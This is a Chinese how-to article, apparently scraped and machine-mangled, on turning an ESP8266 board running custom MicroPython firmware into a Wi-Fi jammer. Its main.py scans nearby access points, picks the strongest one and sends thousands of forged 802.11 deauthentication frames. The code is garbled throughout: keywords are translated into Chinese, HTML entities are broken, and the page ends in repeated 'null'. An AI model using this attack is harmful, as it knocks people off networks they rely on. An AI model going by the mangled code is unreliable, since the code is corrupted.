这篇文章主要介绍”MicroPython怎么实现wifi干扰与抓包”,在日常操作中,相信很多人在MicroPython怎么实现wifi干扰与抓包问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答“MicroPython怎么实现wifi干扰与抓包”的疑惑有所帮助!接下来,请跟着小编一起来学习吧!
<强> 0 x01实现原理强>
),,,通过查阅资料和arduino的源码分析,了解到实现攻击其实就是发送IEEE802.11协议解除认证包,根据MAC层帧格式发送自定义的虚假deautch数据包。
b),,,调用ESP8266SDK中wifi_send_pkt_freedom函数,发送攻击包。
0 x02攻击构思
),,,程序一开始扫描附件的美联社。
b),,,找到信号最强的美联社,获取到他的MAC地址(bssid)和信道。
c),,,将TPYBoardv202切换到同攻击美联社相同的信道。
d),,据美联社的MAC,使用攻击地址,组合deauth解除认证包发送。
<强> 0 x03编译烧写固件及程序源码强>
1,,,,编译固件
现有的micropython-esp8266固件中,并没有引出wifi_send_pkt_freedom函数,于是
我自己动手编译了一次固件,地址:https://github.com/PakchoiFood/micropython-deauth
大家可以自行下载烧写使用,如果有的小伙伴想自己编译修改固件的话,请参考:https://github.com/micropython/micropython/tree/master/esp8266
需要注意:在编译esp8266-sdk时,注意版本必须1.3.0是版本版本,否则wifi_send_pkt_freedom函数会一直返回1失败。
下载后解压,文件如下:
固件。本文件:micropython-esp8266生成的固件。
增加的内容:
setAttack函数
参数:int类型(信道)
功能:设置esp8266的信道
send_pkt_freedom函数
参数:字节数组(定义的数据包)
flash_download_tools_v3.3.6_win。rar:烧写固件的工具。
MicroPythonFileUploader。rar:用于将程序下载到TPYBoardv202Flash的工具。
main.py文件:程序源码文件,主要实现附件美联社的扫描,数据包的组合和调用发送。
import 时间 import uo import 无线 sta_if=wireless.attack (0) # 0: STA 模式, sta_if.active(真正的) ap_list=sta_if.scan () 打印(ap_list) 名称=& # 39;& # 39; bssid=& # 39; & # 39; # bssid: AP MAC 地址 频道=& # 39;& # 39;#信道 _client=[0 xff 0 xff 0 xff, 0 xff, 0 xff, 0 xff] #默认 def deauth (_ap _client、类型、原因): ,,,#,0,安康;1,,,,,subtype c0:, deauth (a0:电离) ,,,#,2,安康;3,,,duration (SDK takes  care of ) ,,,#,4,安康;9,,,reciever (目标) ,,,#,10,安康;15,source (美联社) ,,,#,16,安康;21,BSSID (美联社) ,,,#,22,安康;23,fragment , squence 数量 ,,,#,24,安康;25,reason code (1,=, unspecified 原因) ,,,包=中bytearray ([0 xc0 0 x00 0 x00 0 x00, 0 xbb 0 xbb 0 xbb 0 xbb 0 xbb 0 xbb 0 xcc,, 0 xcc,, 0 xcc,, 0 xcc,, 0 xcc,, 0 xcc, 0 xcc,, 0 xcc,, 0 xcc,, 0 xcc,, 0 xcc,, 0 xcc, 0 x00,, 0 x00, 0 x01,, 0 x00]) ,,,for 小姐:拷贝范围(0,6): ,,,,,,,包(4,+,我),=_client[我] ,,,,,,,包(10 +祝福;我),=,包(16 +祝福;我),=_ap[我] ,,,# set 类型 ,,,包[0],=,类型; ,,,包[24],=,原因 ,,,结果=sta_if.send_pkt_freedom(包) ,,,if 结果==0: ,,,,,,,time.sleep_ms (1) ,,,,,,,return 真实的 ,,,: ,,,,,,,return 错误的 ,,,, if __name__==癬_main__": ,,,max_rssid=0 ,,,max_id=0 ,,,num=0 ,,,#获取信号最强的AP 进行攻击 ,,,for 小姐:拷贝ap_list: ,,,,,,,if max_rssid==0: ,,,,,,,,,,,我[3]# rssid max_rssid=,,,,,,,其他的: ,,,,,,,,,,,if 我[3]祝辞max_rssid: ,,,,,,,,,,,,,,,max_rssid=我[3] ,,,,,,,,,,,,,,,max_id=num ,,,,,,,num +=1 ,,,名称=ap_list [max_id] [0] ,,,bssid=ap_list [max_id] [1] ,,,频道=ap_list [max_id] [2] ,,,print(& # 39;名称:& # 39;,名称,& # 39;-bssid: & # 39;, bssid) ,,,print(& # 39;声道输出:& # 39;,频道& # 39;-rssid: & # 39;, max_rssid) ,,,sendNum=5000 #攻击次数 ,, ,,,print (& # 39; * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * & # 39;) ,,,if sta_if.setAttack(通道): ,,,,,,,印刷(& # 39;Set  Attack 好吧,) null null null null null null null null null null null null null null null null null null nullMicroPython怎么实现wifi干扰与抓包